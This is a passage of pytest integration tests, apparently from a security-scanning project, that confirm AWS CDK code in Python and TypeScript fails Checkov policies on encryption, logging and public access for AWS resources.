test_CKV_AWS_166_BackupVaultEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_166\", policy_name=\"BackupVaultEncrypted\", language=\"python\")\n\n\ndef test_CKV_AWS_74_DocDBEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_74\", policy_name=\"DocDBEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_47_DAXEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_47\", policy_name=\"DAXEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_156_WorkspaceRootVolumeEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_156\", policy_name=\"WorkspaceRootVolumeEncrypted\", language=\"python\")\n\n\ndef test_CKV_AWS_155_WorkspaceUserVolumeEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_155\", policy_name=\"WorkspaceUserVolumeEncrypted\", language=\"python\")\n\n\ndef test_CKV_AWS_165_DynamodbGlobalTableRecovery(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_165\", policy_name=\"DynamodbGlobalTableRecovery\", language=\"python\")\n\n\ndef test_CKV_AWS_27_SQSQueueEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_27\", policy_name=\"SQSQueueEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_195_GlueSecurityConfigurationEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_195\", policy_name=\"GlueSecurityConfigurationEnabled\", language=\"python\")\n\n\ndef test_CKV_AWS_30_ElasticacheReplicationGroupEncryptionAtTransit(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_30\", policy_name=\"ElasticacheReplicationGroupEncryptionAtTransit\", language=\"python\")\n\n\ndef test_CKV_AWS_29_ElasticacheReplicationGroupEncryptionAtRest(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_29\", policy_name=\"ElasticacheReplicationGroupEncryptionAtRest\", language=\"python\")\n\n\ndef test_CKV_AWS_43_KinesisStreamEncryptionType(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_43\", policy_name=\"KinesisStreamEncryptionType\", language=\"python\")\n\n\ndef test_CKV_AWS_42_EFSEncryptionEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_42\", policy_name=\"EFSEncryptionEnabled\", language=\"python\")\n\n\ndef test_CKV_AWS_193_AppSyncLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_193\", policy_name=\"AppSyncLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_194_AppSyncFieldLevelLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_194\", policy_name=\"AppSyncFieldLevelLogs\", language=\"python\")\n\n\ndef test_CKV_AWS_104_DocDBAuditLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_104\", policy_name=\"DocDBAuditLogs\", language=\"python\")\n\n\ndef test_CKV_AWS_82_AthenaWorkgroupConfiguration(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_82\", policy_name=\"AthenaWorkgroupConfiguration\", language=\"python\")\n\n\ndef test_CKV_AWS_17_RDSPubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_17\", policy_name=\"RDSPubliclyAccessible\", language=\"python\")\n\n\ndef test_CKV_AWS_87_RedshiftClusterPubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_87\", policy_name=\"RedshiftClusterPubliclyAccessible\", language=\"python\")\n\n\ndef test_CKV_AWS_69_AmazonMQBrokerPublicAccess(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_69\", policy_name=\"AmazonMQBrokerPublicAccess\", language=\"python\")\n\n\ndef test_CKV_AWS_118_RDSEnhancedMonitorEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_118\", policy_name=\"RDSEnhancedMonitorEnabled\", language=\"python\")\n\n\ndef test_CKV_AWS_40_IAMPolicyAttachedToGroupOrRoles(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_40\", policy_name=\"IAMPolicyAttachedToGroupOrRoles\", language=\"python\")\n\n\ndef test_CKV_AWS_36_CloudTrailLogValidation(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_36\", policy_name=\"CloudTrailLogValidation\", language=\"python\")\n\n\ndef test_CKV_AWS_83_ElasticsearchDomainEnforceHTTPS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_83\", policy_name=\"ElasticsearchDomainEnforceHTTPS\", language=\"python\")\n\n\ndef test_CKV_AWS_76_APIGatewayAccessLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_76\", policy_name=\"APIGatewayAccessLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_117_LambdaInVPC(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_117\", policy_name=\"LambdaInVPC\", language=\"python\")\n\n\ndef test_CKV_AWS_68_WAFEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_68\", policy_name=\"WAFEnabled\", language=\"python\")\n\n\ndef test_CKV_AWS_64_RedshiftClusterEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_64\", policy_name=\"RedshiftClusterEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_78_CodeBuildProjectEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_78\", policy_name=\"CodeBuildProjectEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_31_ElasticacheReplicationGroupEncryptionAtTransitAuthToken(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_31\", policy_name=\"ElasticacheReplicationGroupEncryptionAtTransitAuthToken\", language=\"python\")\n\n\ndef test_CKV_AWS_94_GlueDataCatalogEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_94\", policy_name=\"GlueDataCatalogEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_99_GlueSecurityConfiguration(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_99\", policy_name=\"GlueSecurityConfiguration\", language=\"python\")\n\n\ndef test_CKV_AWS_105_RedShiftSSL(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_105\", policy_name=\"RedShiftSSL\", language=\"python\")\n\n\ndef test_CKV_AWS_149_SecretManagerSecretEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_149\", policy_name=\"SecretManagerSecretEncrypted\", language=\"python\")\n\n\ndef test_CKV_AWS_59_APIGatewayAuthorization(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_59\", policy_name=\"APIGatewayAuthorization\", language=\"python\")\n\n\ndef test_CKV_AWS_89_DMSReplicationInstancePubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_89\", policy_name=\"DMSReplicationInstancePubliclyAccessible\", language=\"python\")\n\n\ndef test_CKV_AWS_34_CloudfrontDistributionEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_34\", policy_name=\"CloudfrontDistributionEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_95_APIGatewayV2AccessLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_95\", policy_name=\"APIGatewayV2AccessLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_86_CloudfrontDistributionLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_86\", policy_name=\"CloudfrontDistributionLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_90_DocDBTLS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_90\", policy_name=\"DocDBTLS\", language=\"python\")\n\n\ndef test_CKV_AWS_174_CloudFrontTLS12(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_174\", policy_name=\"CloudFrontTLS12\", language=\"python\")\n\n\ndef test_CKV_AWS_71_RedshiftClusterLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_71\", policy_name=\"RedshiftClusterLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_92_ELBAccessLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_92\", policy_name=\"ELBAccessLogs\", language=\"python\")\n\n\ndef test_CKV_AWS_67_CloudtrailMultiRegion(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_67\", policy_name=\"CloudtrailMultiRegion\", language=\"python\")\n\n\ndef test_CKV_AWS_91_ELBv2AccessLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_91\", policy_name=\"ELBv2AccessLogs\", language=\"python\")\n\n\ndef test_CKV_AWS_164_TransferServerIsPublic(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_164\", policy_name=\"TransferServerIsPublic\", language=\"python\")\n\n\ndef test_CKV_AWS_97_ECSTaskDefinitionEFSVolumeEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_97\", policy_name=\"ECSTaskDefinitionEFSVolumeEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_123_VPCEndpointAcceptanceConfigured(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_123\", policy_name=\"VPCEndpointAcceptanceConfigured\", language=\"python\")\n\n\ndef test_CKV_AWS_35_CloudtrailEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_35\", policy_name=\"CloudtrailEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_154_RedshiftInEc2ClassicMode(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_154\", policy_name=\"RedshiftInEc2ClassicMode\", language=\"python\")\n\n\ndef test_CKV_AWS_84_ElasticsearchDomainLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_84\", policy_name=\"ElasticsearchDomainLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_136_ECRRepositoryEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_136\", policy_name=\"ECRRepositoryEncrypted\", language=\"python\")\n\n\ndef test_CKV_AWS_66_CloudWatchLogGroupRetention(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_66\", policy_name=\"CloudWatchLogGroupRetention\", language=\"python\")\n\n\ndef test_CKV_AWS_5_ElasticsearchEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_5\", policy_name=\"ElasticsearchEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_73_APIGatewayXray(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_73\", policy_name=\"APIGatewayXray\", language=\"python\")\n\n\ndef test_CKV_AWS_6_ElasticsearchNodeToNodeEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_6\", policy_name=\"ElasticsearchNodeToNodeEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_88_EC2PublicIP(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_88\", policy_name=\"EC2PublicIP\", language=\"python\")\n\n\ndef test_CKV_AWS_8_LaunchConfigurationEBSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_8\", policy_name=\"LaunchConfigurationEBSEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_45_LambdaEnvironmentCredentials(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_45\", policy_name=\"LambdaEnvironmentCredentials\", language=\"python\")\n\n\ndef test_CKV_AWS_58_EKSSecretsEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_58\", policy_name=\"EKSSecretsEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_65_ECSClusterContainerInsights(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_65\", policy_name=\"ECSClusterContainerInsights\", language=\"python\")\n\n\ndef test_CKV_AWS_131_ALBDropHttpHeaders(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_131\", policy_name=\"ALBDropHttpHeaders\", language=\"python\")\n\n\ndef test_CKV_AWS_2_ALBListenerHTTPS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_2\", policy_name=\"ALBListenerHTTPS\", language=\"python\")\n\n\ndef test_CKV_AWS_23_SecurityGroupRuleDescription(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_23\", policy_name=\"SecurityGroupRuleDescription\", language=\"python\")\n\n\ndef test_CKV_AWS_173_LambdaEnvironmentEncryptionSettings(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_173\", policy_name=\"LambdaEnvironmentEncryptionSettings\", language=\"python\")\n\n\ndef test_CKV_AWS_157_RDSMultiAZEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_157\", policy_name=\"RDSMultiAZEnabled\", language=\"python\")\n\n\ndef test_CKV_AWS_96_AuroraEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_96\", policy_name=\"AuroraEncryption\", language=\"python\")\n"
  },
  {
    "path": "cdk_integration_tests/test_checks_typescript.py",
    "content": "from typing import Dict, Any, List\n\nimport pytest\n\nfrom cdk_integration_tests.utils import run_check, load_failed_checks_from_file\n\nLANGUAGE = 'typescript'\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef failed_checks() -> Dict[str, List[Dict[str, Any]]]:\n    report_failed_checks = load_failed_checks_from_file(LANGUAGE)\n    yield report_failed_checks\n\n\ndef test_CKV_AWS_131_ALBDropHttpHeaders(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_131\", policy_name=\"ALBDropHttpHeaders\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_2_ALBListenerHTTPS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_2\", policy_name=\"ALBListenerHTTPS\", language=\"typescript\")\n\n\ndef test_CKV_AWS_59_APIGatewayAuthorization(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_59\", policy_name=\"APIGatewayAuthorization\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_76_APIGatewayAccessLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_76\", policy_name=\"APIGatewayAccessLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_120_APIGatewayCacheEnable(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_120\", policy_name=\"APIGatewayCacheEnable\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_95_APIGatewayV2AccessLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_95\", policy_name=\"APIGatewayV2AccessLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_73_APIGatewayXray(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_73\", policy_name=\"APIGatewayXray\", language=\"typescript\")\n\n\ndef test_CKV_AWS_194_AppSyncFieldLevelLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_194\", policy_name=\"AppSyncFieldLevelLogs\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_193_AppSyncLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_193\", policy_name=\"AppSyncLogging\", language=\"typescript\")\n\n\ndef test_CKV_AWS_82_AthenaWorkgroupConfiguration(failed_checks):\n    # need to wait for variable rendering in TS\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_82\", policy_name=\"AthenaWorkgroupConfiguration\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_131_AmazonMQBrokerPublicAccess(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_69\", policy_name=\"AmazonMQBrokerPublicAccess\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_96_AuroraEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_96\", policy_name=\"AuroraEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_166_BackupVaultEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_166\", policy_name=\"BackupVaultEncrypted\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_174_CloudFrontTLS12(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_174\", policy_name=\"CloudFrontTLS12\", language=\"typescript\")\n\n\ndef test_CKV_AWS_36_CloudTrailLogValidation(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_36\", policy_name=\"CloudTrailLogValidation\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_20_S3PublicACLRead(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_20\", policy_name=\"S3PublicACLRead\", language=\"typescript\")\n\n\ndef test_CKV_AWS_56_S3RestrictPublicBuckets(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_56\", policy_name=\"S3RestrictPublicBuckets\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_149_SecretManagerSecretEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_149\", policy_name=\"SecretManagerSecretEncrypted\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_23_SecurityGroupRuleDescription(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_23\", policy_name=\"SecurityGroupRuleDescription\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_26_SNSTopicEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_26\", policy_name=\"SNSTopicEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_27_SQSQueueEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_27\", policy_name=\"SQSQueueEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_164_TransferServerIsPublic(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_164\", policy_name=\"TransferServerIsPublic\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_123_VPCEndpointAcceptanceConfigured(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_123\", policy_name=\"VPCEndpointAcceptanceConfigured\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_68_WAFEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_68\", policy_name=\"WAFEnabled\", language=\"typescript\")\n\n\ndef test_CKV_AWS_156_WorkspaceRootVolumeEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_156\", policy_name=\"WorkspaceRootVolumeEncrypted\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_155_WorkspaceUserVolumeEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_155\", policy_name=\"WorkspaceUserVolumeEncrypted\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_88_EC2PublicIP(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_88\", policy_name=\"EC2PublicIP\", language=\"typescript\")\n\n\ndef test_CKV_AWS_163_ECRImageScanning(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_163\", policy_name=\"ECRImageScanning\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_51_ECRImmutableTags(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_51\", policy_name=\"ECRImmutableTags\", language=\"typescript\")\n\n\ndef test_CKV_AWS_136_ECRRepositoryEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_136\", policy_name=\"ECRRepositoryEncrypted\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_65_ECSClusterContainerInsights(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_65\", policy_name=\"ECSClusterContainerInsights\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_97_ECSTaskDefinitionEFSVolumeEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_97\", policy_name=\"ECSTaskDefinitionEFSVolumeEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_42_EFSEncryptionEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_42\", policy_name=\"EFSEncryptionEnabled\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_58_EKSSecretsEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_58\", policy_name=\"EKSSecretsEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_29_ElasticacheReplicationGroupEncryptionAtRest(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_29\",\n              policy_name=\"ElasticacheReplicationGroupEncryptionAtRest\", language=\"typescript\")\n\n\ndef test_CKV_AWS_30_ElasticacheReplicationGroupEncryptionAtTransit(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_30\",\n              policy_name=\"ElasticacheReplicationGroupEncryptionAtTransit\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_31_ElasticacheReplicationGroupEncryptionAtTransitAuthToken(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_31\",\n              policy_name=\"ElasticacheReplicationGroupEncryptionAtTransitAuthToken\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_83_ElasticsearchDomainEnforceHTTPS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_83\", policy_name=\"ElasticsearchDomainEnforceHTTPS\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_84_ElasticsearchDomainLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_84\", policy_name=\"ElasticsearchDomainLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_92_ELBAccessLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_92\", policy_name=\"ELBAccessLogs\", language=\"typescript\")\n\n\ndef test_CKV_AWS_91_ELBv2AccessLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_91\", policy_name=\"ELBv2AccessLogs\", language=\"typescript\")\n\n\ndef test_CKV_AWS_158_CloudWatchLogGroupKMSKey(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_158\", policy_name=\"CloudWatchLogGroupKMSKey\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_66_CloudWatchLogGroupRetention(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_66\", policy_name=\"CloudWatchLogGroupRetention\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_34_CloudfrontDistributionEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_34\", policy_name=\"CloudfrontDistributionEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_86_CloudfrontDistributionLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_86\", policy_name=\"CloudfrontDistributionLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_35_CloudtrailEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_35\", policy_name=\"CloudtrailEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_67_CloudtrailMultiRegion(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_67\", policy_name=\"CloudtrailMultiRegion\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_78_CodeBuildProjectEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_78\", policy_name=\"CodeBuildProjectEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_47_DAXEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_47\", policy_name=\"DAXEncryption\", language=\"typescript\")\n\n\ndef test_CKV_AWS_89_DMSReplicationInstancePubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_89\",\n              policy_name=\"DMSReplicationInstancePubliclyAccessible\", language=\"typescript\")\n\n\ndef test_CKV_AWS_104_DocDBAuditLogs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_104\", policy_name=\"DocDBAuditLogs\", language=\"typescript\")\n\n\ndef test_CKV_AWS_74_DocDBEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_74\", policy_name=\"DocDBEncryption\", language=\"typescript\")\n\n\ndef test_CKV_AWS_90_DocDBTLS(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_90\", policy_name=\"DocDBTLS\", language=\"typescript\")\n\n\ndef test_CKV_AWS_165_DynamodbGlobalTableRecovery(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_165\", policy_name=\"DynamodbGlobalTableRecovery\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_28_DynamodbRecovery(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_28\", policy_name=\"DynamodbRecovery\", language=\"typescript\")\n\n\ndef test_CKV_AWS_3_EBSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_3\", policy_name=\"EBSEncryption\", language=\"typescript\")\n\n\ndef test_CKV_AWS_18_S3BucketLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_18\", policy_name=\"S3BucketLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_19_S3BucketEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_19\", policy_name=\"S3BucketEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_21_S3BucketVersioning(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_21\", policy_name=\"S3BucketVersioning\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_145_S3BucketKMSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_145\", policy_name=\"S3BucketKMSEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV2_AWS_6_S3BucketPublicAccessBlock(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV2_AWS_6\", policy_name=\"S3BucketPublicAccessBlock\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_195_GlueSecurityConfigurationEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_195\", policy_name=\"GlueSecurityConfigurationEnabled\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_5_ElasticsearchEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_5\", policy_name=\"ElasticsearchEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_6_ElasticsearchNodeToNodeEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_6\", policy_name=\"ElasticsearchNodeToNodeEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_94_GlueDataCatalogEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_94\", policy_name=\"GlueDataCatalogEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_99_GlueSecurityConfiguration(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_99\", policy_name=\"GlueSecurityConfiguration\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_40_IAMPolicyAttachedToGroupOrRoles(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_40\", policy_name=\"IAMPolicyAttachedToGroupOrRoles\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_43_KinesisStreamEncryptionType(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_43\", policy_name=\"KinesisStreamEncryptionType\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_116_LambdaDLQConfigured(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_116\", policy_name=\"LambdaDLQConfigured\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_45_LambdaEnvironmentCredentials(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_45\", policy_name=\"LambdaEnvironmentCredentials\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_173_LambdaEnvironmentEncryptionSettings(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_173\", policy_name=\"LambdaEnvironmentEncryptionSettings\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_115_LambdaFunctionLevelConcurrentExecutionLimit(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_115\",\n              policy_name=\"LambdaFunctionLevelConcurrentExecutionLimit\", language=\"typescript\")\n\n\ndef test_CKV_AWS_117_LambdaInVPC(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_117\", policy_name=\"LambdaInVPC\", language=\"typescript\")\n\n\ndef test_CKV_AWS_8_LaunchConfigurationEBSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_8\", policy_name=\"LaunchConfigurationEBSEncryption\",\n              language=\"typescript\")\n\n\ndef 